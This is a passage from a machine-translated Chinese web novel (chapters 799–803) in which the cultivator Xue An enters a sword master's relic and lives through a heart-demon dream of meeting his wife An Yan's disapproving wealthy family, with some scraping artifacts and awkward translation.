    Xueliu lowered her head, and Qingsi blocked her face.


    Li Hanqing said coldly: "Lili, don''t you even listen to what you say as a teacher? I''m for your good!"


    Xueliu began to tremble all over.


    Li Hanqing sneered, just about to speak.


    suddenly.


    Xue Liuli, with her head down, said in a low voice, "Shit!"


    Li Hanqing was startled, she couldn''t believe her ears, "Xue Liuli, what are you talking about?"


    Xue Liuli slowly raised her head, her face covered with green silk was full of tears, but she did not tremble anymore.


    The eyes that were once full of hesitation gradually became firmer.


    Then she said every word: "I mean, what you said... is bullshit!"


    The audience was silent.


    Many people looked at the once proud girl of heaven with extremely surprised eyes.


    And Li Hanqing froze even more.


    In any case, she did not expect that her obedient apprentice would dare to defy herself openly.


    Immediately, Li Hanqing was furious.


    "Xue Liuli, you dare to talk to me like this, are you trying to deceive the master and destroy the ancestor?"


    Xueliu laughed loudly after hearing the words, and the laughter was full of desolation and sorrow.


    Then she looked at Li Hanqing with extremely calm eyes.


    "Deceiving the teacher and destroying the ancestor... Hehe, I was just hindered in my practice. After a little back, you can''t wait to give me a gift to the Demon Valley! This is your teacher? This is your ancestor? "


    "If this is the case, then I can only say, go to your mother! I won''t take care of you!"


    With that, Xue Liuli gave a salute to Xue Anshen who was on the side, and then said in an extremely relaxed tone: "My lord, thank you for your advice! I finally understand now!"


    "Oh? What do you understand?"


    "I understand that some people can only use **** to describe it! And the feeling of swearing is really good!" Xue Liuli said with a smile.


    Xue An laughed loudly.


    The laughter shook the roof tiles, making everyone look at him.


    The celestial lady sitting on the side also looked at Xue An with doubts, as if she didn''t understand why she was laughing.


    After laughing, Xue Anhao stretched his waist in a leisurely manner, "That''s right! Ruzi can be taught!"


    But at this time Li Hanqing was almost mad, "Xuelili, very good, you colluded with outsiders to deceive your master and destroy your ancestors, today, I will abolish your cultivation and imprison you forever!"


    With that, Li Hanqing shouted coldly: "Do it!"


    The six sword slaves drew their swords silently and walked forward.


    Upon seeing this, Jian Qi stood up in front of Xue Liuli, and then stared at the six people with icy eyes.


    "If you want to do something with the young lady, step over my corpse first!"


    At first sight, these six people were Jian Qi, all of them hesitated.


    Because these six people were the six sword slaves that Xue had left by before.


    It was only later that Xue Liu was in a weak state, and then he defected.


    Now when I saw Jian Qi, I was naturally a little embarrassed.


    The eldest one of them, Jianyi, said at this time: "Old Qi, I advise you to better understand the current affairs! Let the road open, we will not hurt her, but she is now deceived by an adulterer, and we will take her back. , Let her be calm and calm."


    Jian Qi sneered, "Don''t call me Lao Qi, you are not worthy at all! Think about the young lady who used to be to you, and now you act like this, are you worthy of the sword you are carrying? And I won''t let it go! "


    "Because I said, if you want to deal with Miss, then pass me first!"


    There was a touch of shame on the faces of the six sword slaves.


    But at this moment, I just heard Li Hanqing snorted coldly, "I''m looking for death!"


    With that, she made a bold move.


    She obviously hated Xue Liuli and Xue An extremely much, not to mention that Jian Qi was a sword slave, and she didn''t take it seriously, so every move was a killer move.


    Seeing her swinging to the dust, a faint red brilliance came straight to Jian Qi.


    This brilliance did not seem to be surprising.


    But wherever he went, even the light was distorted.


    But at this moment, the heavenly lady of bliss on the side suddenly appeared in front of Jian Qi, and then sealed with both hands and directly resisted the blow.


    There was a muffled sound, and then a shock wave swept the entire hall.


    The tables and chairs are cracked.


    Those with a slightly lower cultivation base were even shaken to the ground.


    The figure of the heavenly woman shook slightly, and then looked at Li Hanqing with cold eyes.


    Li Hanqing was startled, "Heavenly Paradise, what do you mean by that?"


    Ling Xiao stepped forward and said, "Your Excellency, this is where our Bliss Square is located. If you want to do it, please go out!"


    Li Hanqing gritted his teeth, "Okay! In that case, let this rebel and this kid live a little longer!"


    Having said that, she gave Xue An and Xuelii a hateful look.


    But I saw that Xue An didn''t pay attention to her at all, but was tapping the table with his fingers leisurely, and then looked at the Luo Sanqian.


    "Are you from Bloodnet Mountain?"


    Luo Sanqian was slightly startled, he had just been watching all this with cold eyes.


    For him, it doesn''t matter what cuts the red building and what snow drifts away.


    He came here for the legacy of the Great Dream Sword Sovereign.


    As for the others, he didn''t even look at it.


    After all, he is a peerless powerhouse of Yuanzong Blood Net Mountain, a young Tianjiao with boundless future.


    So when he heard Xue An talk to himself in this tone, he couldn''t help but feel annoyed, but he has a very strong image, especially now he is still in the presence of the Heavenly Girl of Bliss and Xing Dannan, who "adores" him very much, so he is still demeanor. Pianpian nodded.


    "Yes!"


    Xue An smiled.


    "Very well, when this matter is over, I will level your blood net mountain!"


    Many people thought they had heard it wrong.


    Even Luo Sanqian couldn''t help being taken aback.


    "what did you say?"


    Xue An said indifferently: "I mean You Blood Net Mountain will soon cease to exist!"


    People were all stunned.


    Which one is this singing again?


    from the beginning till now.


    This man first had an affair with the Young Master of the Fierce Demon Valley, and then offended Zhan Honglou.


    Now he even threatened to destroy the Blood Net Mountain.


    All these things made many people look at Xue An with dead eyes.


    Luo Sanqian was even more angry and smirked, "My friend, have you been stimulated, or have you lost your mind?"


    Xue An said: "It doesn''t matter if you don''t believe it, you have to die anyway!"


    Luo Sanqian finally couldn''t maintain his demeanor, his eyelids throbbed frantically, and then sneered: "Do you think that with the blessing of the heavenly lady, you dare to be so crazy? But if I do it, you think the heavenly lady will stop Can you live?"

 Chapter 799： Abide by the sword heart, never forget the truth

    Xue An ignored what he said. Instead, he stood up slowly and stretched out, "It''s a boring meal. Fortunately, Yan''er and the others didn''t come! But fortunately, the time has finally come!"


    Time is up?


    What does it mean?


    Everyone in the hall looked at each other.


    At this moment.


    There was a sudden violent tremor in the ground under his feet, and the aura of heaven and earth began to become restless.


    "This is..." Ling Xiao of Bliss Square was startled, "It''s the legacy that opened!"


    As soon as this sentence was spoken, everyone in the room was startled, and then they rushed out frantically.


    really.


    At the top of Dameng Mountain in the distance, a sword light shot up into the sky directly, shining the night sky like daylight.


    Luo Sanqian''s complexion was happy, and golden runes appeared all around his body, and then he soared to the sky to fly to the Big Dream Mountain.


    Seeing this, Xing Dannan hurriedly shouted: "Brother Luo, and me!"


    Luo Sanqian raised his hand and pointed, and Xing Dannan was also enveloped by golden runes, flying towards the top of the Great Dream Mountain.


    Ye Chongshan couldn''t help but grinned, and then flicked his sleeves, a black cloud appeared under his feet, and it flew into the sky very quickly.


    Many people all scrambled to fly to the Big Dream Mountain.


    Ling Xiao said anxiously to the Heavenly Lady of Elysium, "Lord Heavenly Lady, let''s go, too! If it''s late, we will give up all our efforts!"


    The Heavenly Lady of Bliss did not leave, instead she turned to look at Xue An, who was slowly walking out of the Bliss Tower, yawning.


    Ling Xiao was really anxious when he saw this, "My Lord God, he guesses that he doesn''t even have Lei Dan, and he won''t be able to open the remains if he goes! Let''s leave as soon as possible!"


    The bliss goddess was not moved at all, still standing there waiting for Xue An.


    At this time, Xue An approached, looked up at the Man Tian Guanghua who was flying to the top of Dameng Mountain, shook his head, "What are you doing so fast?"


    As he said, Xue An squeezed his eyes at the Elysian Girl, "Let''s go, see who gets to the top of the mountain first, how about?"


    The blissful goddess blinked.


    Xue An laughed, "Displaced, follow behind!"


    After all, Xue An took a step forward, his figure disappeared in the same place instantly, and when he appeared again, he was already in the far sky.


    Ling Xiao couldn''t help being surprised.


    This speed... simply too fast!


    But at this time, I can''t think too much.


    Ling Xiao followed the Heavenly Lady of Bliss, and Xue Liuli, and flew to the top of the Big Dream Mountain.


    This Big Dream Mountain is as high as the sky, it is an unclimbable Jedi in the eyes of mortals.


    But for these Tianzong powerhouses, it''s just a matter of how long they fly.


    At this time, the brilliance in the sky also divided into distinct echelons.


    The one who flew in the front was naturally Luo Sanqian and Xing Dannan, who was carried by him.


    Followed by Ye Chongshan in the Valley of the Devil.


    Behind is Li Hanqing, the host of Zhanhong.


    These people are chasing after me and are running wildly to the top of the Big Dream Mountain.


    If you arrive earlier, you may be able to seize the opportunity and obtain the remains of the Great Dream Sword Master, who was invincible thousands of years ago.


    You must know that this Great Dream Sword Sovereign has been recognized as the number one swordsman in all domains since ancient times.


    Some people even say that he has surpassed the real fairy and touched the edge of Da Luo.


    With such a peerless cultivation base, the legacy it left behind is naturally extraordinary.


    This is also the reason why San Tianzong and Blood Net Mountain that can provoke so value.


    now.


    Looking at the sword light that was getting closer and closer, Luo Sanqian''s heart was hot.


    As long as he can obtain this treasure, he will probably be able to surpass the senior brother, become the No. 1 true biography of Blood Net Mountain, and even defeat that guy, and become the No.


    By that time, the glory is all yours, what a spirited spirit.


    I was thinking about it.


    suddenly.


    He noticed a stream of light suddenly passing by.


    The speed is too fast for him to react.


    Who is that?


    There is such a fast speed?


    Luo Sanqian''s heart tightened, and even thought that his senior brother was here, so the golden light all over his body skyrocketed again, and the speed increased by a big margin.


    Even so, the distance between him and that streamer has not decreased, but has gradually increased!


    Luo Sanqian was shocked.


    at last.


    The top of Dameng Mountain is in sight.


    And the streamer stopped his figure.


    Luo Sanqian rushed to him later, and when he saw this person, he couldn''t help being surprised.


    "It''s you?"


    The latter came first, and it was Xue An who pulled him far behind.


    Luo Sanqian could not have imagined that this man who seemed to be so ordinary had such a fast speed.


    Xue An smiled slightly, "I''m sorry, I didn''t want to surpass you, but your speed is too slow, I don''t bother to wait!"


    Luo Sanqian''s expression sank, but he ignored Xue An''s words.


    In his opinion, the most important thing now is to open the door of the remains and enter it first.


    As for the others, wait until they come out.


    So he stretched out his hand and took out two pills of thunder lingering, snorted to Xue An, and stretched out his hand.


    boom.


    Two rays of light covered him and Xing Dannan, and then disappeared in the sword light.


    At this time, everyone else rushed over.


    These people also carried all kinds of magic weapons or pills with the power of thunder and lightning. When they saw that Luo Sanqian had entered, they all rushed to take it out and prepared to do it.


    Xue Liuli also flew to the front, but her expression was a bit hesitating, "My lord, I..."


    Xue Liuli didn''t have any magic weapon with the power of thunder and lightning. She wanted to buy the Thunder Zun at the auction in Xuan Lei City before. That''s why.


    So she is naturally in a dilemma now.


    Ye Chongshan couldn''t help but smile when he saw this, "Xue Liuli, that guy doesn''t look like the master who can take out Lei Dan, but I have Lei Dan, as long as you are willing to come, I can help you enter the legacy now. ,how is it?"


    Xue Liuli didn''t even look at him.


    At this time, the blissful goddess also looked at Xue An with doubts, and then took out a Lei Dan and prepared to hand it to Xue An.


    Xue An waved his hand and smiled, "No need! I have it here!"


    With that said, Xue An turned over and the pan appeared in his hand.


    This is what he borrowed from Anyan when he came or this thing is easy to use! "


    Xue An weighed the pot, smiled slightly, and then gave a soft drink, "Displaced, ready!"


    Xueliu was startled, although he didn''t understand what it meant, he still prepared quickly.


    See Xue An waved his hands.


    A huge thunder light instantly shrouded the snow.


    Xue Liu was shocked in the eccentricity, and suddenly remembered that outside Xuanlei City, didn''t Xue An''s wife used this pot to fly Gao Xinghai?


    It turns out that Lei Zun has been refined into this magic weapon!


    Xue Liu was thinking about it, and then he felt that his eyes were changing, and he was about to enter the remains.


    Xue An''s indifferent voice rang in her ear, "Remember, abide by Jianxin and never forget the truth!"

 Chapter 800： Youth is like a rushing river

    Xue Liuli was shocked all over, just waiting to say something, but she has disappeared in the sword light. ���ˡ��ˡ�Reading��Book, .2��3.��o


    Send away the snow drift.


    Xue An smiled at the blissful goddess, "Remember not to cry after entering!"


    This sentence made Ling Xiao puzzled.


    There were also some doubts in the eyes of the blissful goddess.


    But time waits for no one, the bliss goddess nodded slightly to Xue An, then smashed Lei Dan and entered the remains.


    quickly.


    These people who came have already entered this relic.


    Only Xue An stood high in the sky, looking at the sword intent soaring to the sky, and said lightly: "You can touch the Law of Da Luo in this world, you are also considered talented!"


    Then Xue An shook his head and chuckled, "Big dream...hehe, do these fools really think there will be any real legacy?"


    "Well, since it''s here, then let me learn about your sword intent!"


    After all, Xue An didn''t use any thunder light, and directly divided his hands. The sword light shook for a while, and a gap appeared.


    Then Xue An stepped into it.


    When I opened my eyes again, what came to my face was a strange smell mixed with perfume, hairspray, and feet and sweat.


    A smile appeared on the corner of Xue An''s mouth when he smelled this smell.


    Finally... Has it started?


    At this time, I heard Qiao Le''s iconic nagging sound behind him.


    "Second brother, you are the first one to have a girlfriend in our dormitory. My sister-in-law is beautiful and gentle, so you have to take care! And this time you are going home with my sister-in-law on behalf of our dormitory, and you have to show our brothers. Come on!"


    "I heard that the conditions in my sister-in-law''s house are very good, and they are in the local area of ??Zhongdu, so we shouldn''t be ashamed! So this pot of hairspray that I have kept for many years is for you to use this time."


    While talking, Qiao Le carefully dipped the hairspray on Xue An''s hair with a brush. ����eight����eight����read������book, .��.o��


    Xue An''s heart shook slightly and raised his eyes to look at the mirror in front of him.


    I saw myself in the mirror, with green eyes, very young.


    The layout in front of me is so familiar.


    Whether it''s the mottled wooden table, the eternally messy bookcase, or even the star posters hanging on the wall, they are exactly the same as they remembered.


    At this moment.


    Yang Bin, who was squatting on the side and shining his shoes hard, smiled, "Brother, do you really plan to keep this pot of hairspray and pass it to your son in the future?"


    "You don''t understand this! This hairspray is a must-have for our brothers on the expedition. Use it to make sure that the girls won''t even be able to find it! Second brother, isn''t this an example? After he used this hairspray , Just succeeded in picking up the school flowers from our school. Isn''t that the second brother?"


    Qiao Le brought the face that was still full of pimples closer and asked with a smile.


    Xue looked quietly, suddenly a little speechless.


    Because he remembered what day it was.


    This is exactly the time I and An Yan returned to her house.


    That''s right!


    Even the two guys said exactly the same.


    At this time, Qiao Le saw Xue An not speaking, and couldn''t help but curl his lips, "See? Our second brother has been stunned by this sudden happiness! You didn''t see when the second brother commanded the school flower Anyan to capture. The horrible howling of those guys is just like a wolf! Hehe! But it has to be our second brother, it really boosts our brothers!"


    Qiao Le started talking endlessly again.


    At this time, Yang Bin had polished a pair of leather shoes so that they could be seen, and then handed it to Xue An.


    "Second brother, give it a try! My feet are a bit bigger than yours, but I have already stuffed a ball of paper in front, so I should be able to wear it!"


    Xue An stared blankly at the leather shoes on the ground.


    This pair of shoes belonged to Yang Binyi, and was the most expensive pair of shoes in the entire bedroom.


    It took a full 1,800 yuan to buy it.


    This money is enough for food for several months of their poor students.


    But after buying it back, Yang Bin basically didn''t wear it much, so he gave everything to Xue An.


    It''s the same this time.


    And he wiped his shoes clean.


    Xue An is in a daze.


    Qiao Le said with a grin: "Fourth old man, these shoes can be regarded as our second brother''s boots! As long as you put them on, the little girl will rush upwards! She can''t go with a stick!"


    "If you have something to say, let it go!" Yang Bin scolded with a smile.


    Qiao Le rubbed his hands and said with a smile: "Whenever you see, let me wear it too, and I will find you a third wife."


    "Get out! Just your stinky feet and athlete''s foot! You wear them, can others wear them?" Yang Bin cursed mercilessly.


    Qiao Le was a little aggrieved, "It''s like the second brother''s feet don''t smell like?"


    "Second brother''s feet are stinky, but my girlfriend is a school flower! If you have the ability, you can find a school flower. I guess it��s impossible! So, even if you get the sports talents in our class, I will buy it for you. Pair of shoes, how?"


    "Hehe, the weather is good today! Second brother, what do you think of the hairstyle I made for you?" Qiao Le began to look at him.


    Xue An looked at himself in the mirror with his hair combed into a b��ozh��.


    "This is the most popular hairstyle right now. I don''t dare to comb it easily because it is too lethal! It''s easy to make the little girls faint with excitement!" Qiao Le began to boast again.


    At this moment, the door of the bedroom was pushed open.


    Boss Zhao Xuehui walked in from outside, sweating profusely, holding a suit wrapped in plastic sheet cautiously in his hand.


    "Damn, the broken bike I borrowed is really rubbish, it broke down halfway, and I ran back!"


    After that, Zhao Xuehui put the suit on the bed and let out a sigh of relief, "Xiao Er, quickly put it on and try it, but I have spent a lot of effort to borrow it from you. I heard that it is still a foreign brand suit. very expensive!"


    Xue An stood up silently and changed into a suit.


    The three of Zhao Xuehui and Qiao Le and Yang Bin surrounded Xue An with admiration.


    "It''s really good! Foreign suits are good. Look at the workmanship and waist! With these shiny little leather shoes, it is so handsome! If I were a woman, I would have to be fascinated by my second brother!" Qiao Le started talking nonsense again.


    Zhao Xuehui glared at him, then carefully arranged Xue An''s tie again, then stepped back and examined it carefully before nodding with satisfaction.


    "Yes! The guy is handsome!"


    Then Zhao Xuehui said: "Take them out!"


    Qiao Le and Yang Bin both smiled They are already ready! "


    They said that they took out the money in their pockets and handed them to Zhao Xuehui.


    Zhao Xuehui also took out all his savings and put together a little bit, "Well, at this time, one thousand and thirty yuan! Xiao Er, you can buy something for your uncle and aunt on the way! Although we are students, we are courteous. It can''t be worse!"


    Xue An held the group of money with his body temperature and stared at the three in front of him blankly.


    "What are you doing in a daze? Go! Brothers are here waiting for your good news!"


    With that said, the three of them pushed Xue An out of the boys'' dormitory building.


    Xue An walked in this familiar and unfamiliar school and came downstairs to the girls'' dormitory based on memory.


    At this moment, under the tree in front of that building, stood a familiar figure in a red dress.


    Anyan.


    She also appeared here. 11

 Chapter 801： Dream? Really?

    An Yan was waiting anxiously under the tree, while many boys around were pretending to pass by.


    Because An Yan in a red dress is simply so beautiful, even if she simply stands there, she feels like an elf falling into the world, making people reluctant to look away.


    But soon, An Yan found Xue An who was walking slowly, his face was happy, and then ran over happily.


    The boys onlookers couldn''t help but wailed when they saw this, and some people even gave Xue An a stern look, thinking that the guy who picked the school flowers in his hands was simply disgusting.


    With her small hand on her back, An Yan looked at Xue An with interest, and then nodded in satisfaction.


    "This suit is not bad! You wear a good fit, but this head shape is a bit bad. How much hairspray is this?"


    Xue An did not speak.


    Just watching An Yan quietly.


    Anyan in the student days, although not as beautiful as the later days, but with a green beauty.


    An Yan was a little embarrassed by Xue An''s stare, and she couldn''t help taking a sip.


    "Hate, how can you look at people like this?"


    Seeing An Yan with a blushing face, Xue An suddenly wanted to stretch out his hand and pinch it.


    Then Xue An found that he could not control himself at all.


    He can only be like a bystander, silently watching everything happen according to what happened in his memory.


    "Let''s go! Go and buy some gifts for my grandma and my second uncle!"


    Speaking of An Yan, he took Xue An''s arm and walked out of school.


    Along the way, everyone who saw this scene was shocked.


    An Yan, a stunning school girl, actually led a boy in front of so many people, and she was extremely intimate.


    Many boys who regard Anyan as their goddess feel their hearts are broken.


    Therefore, Xue An has gained countless jealous eyes along the way.


    Waiting to be outside the school gate.


    A very low-key black car parked on the side of the road.


    "Ahem, Qing''er, I asked her to find a low-key car. She''s looking for a low-key car!" An Yan mumbled a few words, and then opened the door.


    Xue An stood there and said blankly: "What are you doing?"


    "Nonsense, of course it''s driving! Otherwise, I won''t be able to catch up with my grandma''s birthday party."


    "but����."


    "Why? Don''t believe my car skills?" An Yan lifted his sunglasses up, leaned on the door and blinked at Xue An.


    "I learned to drive secretly when I was eight years old! Who made you guys refuse to learn to drive? Now I have to be your driver!"


    Xue An still stood still in a daze.


    An Yan got into the car, put down the glass, "What are you still doing? Get in the car!"


    Xue An got on the antique BMW in a vague way, then ignited the fire in Anyan, and drove to the city center skillfully.


    Arriving in the city center, An Yan dragged Xue An into the very high-end shopping mall in Zhongdu.


    Seeing the shopping area decorated like a palace, Xue An was a little startled.


    An Yan took out a bank card from the small bag with a calm expression, and gave it to Xue An without any explanation.


    Then she leaned over Xue An''s ear and said softly.


    "No, this is the money I have saved up so hard. Now lend it to you, you have to remember to return it to me!"


    Xue An was holding this bank card with An Yan Tixiang, and before he could speak, An Yan happily dragged him into the shopping club.


    Those shopping guide ladies are all very enthusiastic about An Yan, but An Yan will ask Xue An for advice no matter what to buy.


    This makes these shopping guide ladies with very vicious eyes a little surprised.


    They can tell at a glance that the red dress worn by An Yan is a high-end custom model that was unveiled at Paris Fashion Week, and the price is extremely expensive.


    Moreover, the grace on An Yan''s body can''t be pretended.


    This is obviously a wealthy daughter.


    And Xue An?


    Wearing a barely fit, miscellaneous suit, his hair is very greasy with inferior hair spray, and his expression is very restrained, especially when he sees the prices of those products, he always turns pale.


    Obviously a poor student who has never seen the world.


    With such a combination, this rich daughter still treats this man with such respect.


    This makes these shopping guide ladies a little surprised.


    finally.


    Under An Yan''s guidance, Xue An bought gifts worth at least seven to eighty thousand yuan.


    This huge sum of money was enough for Xue An to live until graduation and even find a job, which made Xue An somewhat silent.


    And more importantly, the more than one thousand dollars he carried became like a joke at the moment.


    It is not an exaggeration to say that the money can''t even afford a pair of underwear here.


    An Yan saw this, so when she drove to Anjia, she said lowly.


    "Ann, I may not have made it clear to you before. The conditions in my family are not the same as ordinary people. I can even be called a rich man! But I really have no other meaning. I really like you! And the money for buying gifts today is considered I lent it to you and I am waiting for you to return it to me! Okay?"


    Xue An did not speak.


    They seemed silent on the way.


    Until the vehicle drove into this large yard that seemed extremely luxurious in the middle.


    Looking at the carefully cultivated exotic flowers and plants.


    Xue An''s knuckles became a little pale because of hard enough.


    Rich!


    This word that Xue An had only seen on TV and novels, has actually come into contact with it today.


    This made Xue An''s heart full of struggle and helplessness at the time.


    An Yan naturally saw this, she parked the car silently, and suddenly kissed Xue An''s lips.


    After a long time, she leaned her head on Xue An''s shoulder and whispered: "Ann, if you don''t want to go, we will go back!"


    Xue An gently stroked An Yan''s hair and whispered: "Go, no matter what''s ahead, I will accompany you!"


    An Yan smiled and nodded vigorously, "Hmm!"


    The two got out of the car, and a maid had come forward to take the gift.


    "Where is my grandma?"


    "Miss, the birthday banquet is about to begin, and the old lady is in the main hall!"


    An Yan nodded, and then led Xue An to the main hall.


    As soon as we walked to the door, a female voice with a hint of sarcasm came from Yo, sister Yan, this is your boyfriend! "


    Following the voice, a woman in a luxurious dress came over.


    An Meng.


    An Yan''s cousin.


    At this time, An Meng looked at Xue An a few times, and the disdain in his eyes became thicker.


    "What kind of smell is this! It''s so aggressive? And look at the shape of the head, what is it wiped on?"


    An Meng pretended to exaggerate.


    Xue An looked embarrassed,


    An Yan''s face sank, "An Meng, grandma birthday, I don''t want to fight with you, and this is my friend, I hope you show respect!"


    An Meng sneered, "Okay! But if grandma sees you looking for such a man, she still doesn''t know how she will react!"


    After that, turned and left.

 Chapter 802： Inner Dream

    "I hope that when the time comes, you will be able to stick to your own opinions."


    After all, An Meng turned and left.


    An Yan said: "This is my cousin, who has always spoken bitterly, so ignore her."


    Then An Yan led Xue An into the banquet hall.


    At this moment, the banquet hall is full of people from all wealthy families in the capital, and it seems very lively.


    When An Yan led Xue An in, he immediately attracted the attention of many people.


    These people whispered in the distance.


    "Isn''t this Miss Anjia? Who is the man next to him?"


    "I heard that Miss Anjia has a boyfriend in school? Maybe this is it, but how to dress like a dumpling!"


    "Hehe, look at that hairstyle, it''s so funny!"


    "My God, he dares to wear such a trash suit. It''s really not a shame."


    All these comments and comments reached Xue An''s ears.


    He stood there in embarrassment, he didn''t know how to put his hands or feet.


    At this moment, An Yan gently held his hand, and then smiled at him slightly.


    Xue An took a deep breath, feeling the warmth of An Yan''s palm, and slowly calmed down.


    at this time.


    In the banquet hall, the door leading to the back house of Anjia was pushed open, and Anyan''s grandmother, the old lady Jin who had been in charge of the settlement for decades, walked in surrounded by them.


    Whenever they saw this elegant and luxurious old lady, everyone in the banquet hall stood up to greet her.


    "I wish the old lady a blessing in the East China Sea and longevity than Nanshan!"


    "Auspicious old lady!"


    These blessings are one after another.


    The old lady Jin nodded with a smile on her face.


    But when her eyes noticed An Yan and Xue An not far away, the smile on her face was cold.


    Especially when she saw the hands held by An Yan and Xue An, her eyelids jumped a few times.


    quickly.


    The old lady Jin took the lead.


    Next came many settled juniors to celebrate their birthdays.


    An Meng was the first to rush out. What she presented was an exquisite Hetian jade carving with exquisite workmanship and exquisite materials, and the carving was a longevity peach, which had a good meaning.


    Mrs. Jin nodded in satisfaction, "Meng''er is interested!"


    "Hehe, congratulating grandma on her birthday is what the granddaughter should do."


    With that, she demonstrating generally looked towards An Yan.


    An Yan took a deep breath and led Xue An to come forward, "Grandma! This is my boyfriend Xue An, these are gifts he bought for you specially, I wish you health and longevity!" The gifts bought by An Yan and Xue An were placed in front of the stage.


    Although they are all exquisite luxury goods, they are far from the Hetian jade carving of An Meng.


    An Yan winked at Xue An. Xue An trembled all over, and finally came out of the confusion. Then he stepped forward and bowed and said: "Junior Xue An, I wish the old lady good luck and health!"


    There is no response.


    The old lady Jin Xiurongjin leaned on the armchair, raised her cup with a sinking face and drank tea.


    The atmosphere fell into an awkward silence.


    Many people in the audience began to whisper.


    An Meng even showed a sneer.


    Only Xue An is still so bowed.


    An Yan''s complexion changed, just waiting to speak.


    Old Mrs. Jin suddenly pinched the teacup in her hand to the ground, and the sound of broken porcelain shocked many people.


    Xue An got closer, and was splashed on his face by the hot tea in the cup.


    At this time, the old lady Jin roared: "Bless me birthday? Ha ha, what qualifications do you have to ration me birthday?"


    Hearing this roar, Xue An raised his head, with a dazed expression on his face.


    At this time An Yan hurried forward, "Grandma, I..."


    "Shut up for me!" Jin Xiurong shouted, pointing to An Yan''s nose, furious.


    "You, someone who doesn''t know the shame, dare to bring these stubborn men back to congratulate me on my birthday? You are sincere to **** me off!"


    An Yan''s aggrieved eyes contained tears, and she could only explain in a low voice, "Grandma, this is my college classmate, he is not..."


    "Enough! Anxue!" Jin Xiurong''s face was pale.


    An Yan''s second uncle stepped forward and said lightly: "Xue An, from Beijiang Town, his parents have died early, and he is an orphan. He lives on work-study programs!"


    Hear this introduction.


    There was a commotion in the banquet hall.


    "Oh my god, it''s from a village, or an orphan!"


    "Tsk tusk! The vision of this lady Anjia is too bad, right? You even want such a man?"


    In these discussions.


    Jin Xiurong''s expression was ashen, "An Yan, did you hear that? Listen to what everyone is talking about?"


    "What''s your identity? What''s the identity of our settlement? But you found me such a man? Didn''t you deliberately make me angry, what am I?"


    An Yan also wanted to explain.


    Jin Xiurong looked at Xue An on the side, and said in a gloomy tone: "The surname is Xue, don''t think I can''t guess what you low-level people think! You just want to use Anyan to cling to our home, but I will tell you It is absolutely impossible! We settle down and we will never let someone like you succeed!"


    As he said, Jin Xiurong yelled at the people around him: "What are you still doing in a daze? Throw out this guy and the things he sent me!"


    The servants who have a home are going to do it.


    An Yan stepped forward and stood in front of Xue An. Although there were tears in his eyes, he still said unwaveringly, "No!"


    Jin Xiurong was stunned.


    In her mind, her eldest granddaughter''s temperament has always been very weak.


    Unexpectedly, for a man today, he dared to defy his orders openly.


    This made her even more angry, screaming: "What are you still doing, lock up this dead girl, and then blast this man out!"


    Several female security guards who settled down said in a deep voice, "Miss, I''m offended!"


    As he said, he grabbed An Yan''s arm and dragged it to the back house.


    Jin Xiurong grinned and said, "Shut this dead girl in the house, and I will betroth her to the Chi family tonight!"


    An Yan struggled, but UU reading did not help.


    Several black bodyguards stepped forward to surround Xue An.


    Upon seeing this, An Yan showed a look of panic, and shouted: "Xue An, go! Don''t let them catch you! They will kill..."


    I didn''t say the following words, it was obvious that someone had covered his mouth.


    Several bodyguards in black walked up slowly.


    But just when they winked at each other and were about to do it.


    Xue An, who kept his head down and said nothing, suddenly sighed.


    "I have to admit that this heart demon dream is really real enough!"


    "But when I entered this banquet hall, I knew that my memory had been tampered with!"


    "In fact, the first time I came to Anjia, I never saw this Jin Xiurong!"

 Chapter 803： Those past

    "And want to shake my mind in this way, I can only say, you think too much."


    With Xue An��s voice, the faces of the people around him began to blur.


    Jin Xiurong, who was sitting on the main seat, was even more enveloped in black air.


    Then a voice with a hint of panic came.


    "You... how can you control yourself?"


    Xue An smiled slightly, "Is it difficult? Actually, since I entered Anjia, I have been able to control myself, but I want to see what happens next, so I haven''t intervened!"


    As he said, Xue An looked at An Yan in the red dress, and there was a trace of pampering and nostalgia in his eyes.


    "Even in this kind of demonic dream, you are still that stupid and lovely girl!"


    At this time, the entire banquet hall was disintegrating and dissipating, and there was a voice with a little anger and depravity in the void.


    "I admit that your mind is indeed strong and tough enough, but there is no invulnerable soul in the heavens and the world!"


    With the voice, the scene in front of me suddenly changed.


    Then Xue An came to a living room.


    This living room is not big, but it is clean and tidy.


    There are many worthless green plants on the balcony, and some green plants have already bloomed with tiny flowers, which are shaking gently with the wind outside the window.


    Xue An''s heart moved. This is his and An Yan''s home in Beijiang.


    But the living room, once filled with laughter and laughter, is terribly deserted at the moment.


    An Yan, with her big belly, quietly lying on the sofa in the living room, seemed to have gone to sleep, but even in her sleep, she still clung to a photo of Xue An, and tears fell from time to time. The pillows are all wet.


    Suddenly, An Yan, who was sleeping, choked up and said: "Husband, don''t leave me!"


    Then An Yan suddenly opened his eyes, looked at one place with some doubts, and then tears fell down, "Husband, is that you? Are you really dead like they said? No! I don��t believe it, you said you want me to be the happiest bride in the world, how can you say nothing?"


    As he talked, An Yan was already crying.


    At this moment, An Yan suddenly covered his stomach, and his face turned pale with pain instantly.


    And blood gradually flowed out between the legs.


    An Yan was trembling with fright, but soon recovered her composure, and then took out her mobile phone and dialed a number.


    "Xuaner, help me!"


    After she was connected, she fainted only when she had time to say these four words.


    soon.


    After only a few minutes, Tang Xuan''er hurried in. When she saw An Yan who had fainted on the sofa, she was shocked.


    However, as a nurse, she quickly calmed down and called the emergency number.


    After finally sending An Yan to the hospital, not more than half an hour passed.


    Two daughters were born.


    After being a nurse pushing the two new-born babies out of the delivery room, Tang Xuan''er had no time to be happy.


    Because An Yan was anxious because of Xue An��s disappearance, she was born more than half a month prematurely. Now although she gave birth to a child, she has hemorrhage and is being rescued.


    The doctor said clearly that the success rate of rescue is only half.


    Tang Xuan''er, as the only person present, signed a lot of critical illness notices in a daze.


    Then she sat in front of the crib, watching the two little girls who were still sleeping.


    She and Xue An are high school classmates, and An Yan is also good friends.


    So she knows everything between Xue An and An Yan.


    But she never expected that the two people who finally got together would suddenly experience this change.


    Xue An has disappeared, and Anyan��s dystocia is still being rescued. If the rescue is not returned, will these two little girls become undesired orphans?


    Tang Xuan''er is in a daze.


    A little girl suddenly started crying.


    As soon as she cried, the one next to her also cried noisily.


    Tang Xuan''er has never even talked about love, so after encountering this scene, she frantically tried to reassure, but found that it didn''t work at all.


    When I am desperately desperate.


    A family member in the same ward knew what had happened, so he said sympathetically, "Is it hungry?"


    These words reminded Tang Xuan''er, but she was in a hurry and didn''t prepare anything at all.


    had no choice but to bite the bullet and borrow some milk powder from others, and then hurriedly bought two milk bottles, brewed them in a hurry, and started feeding the two little girls.


    The two little girls were indeed hungry, and they started sucking hard when they met the bottle.


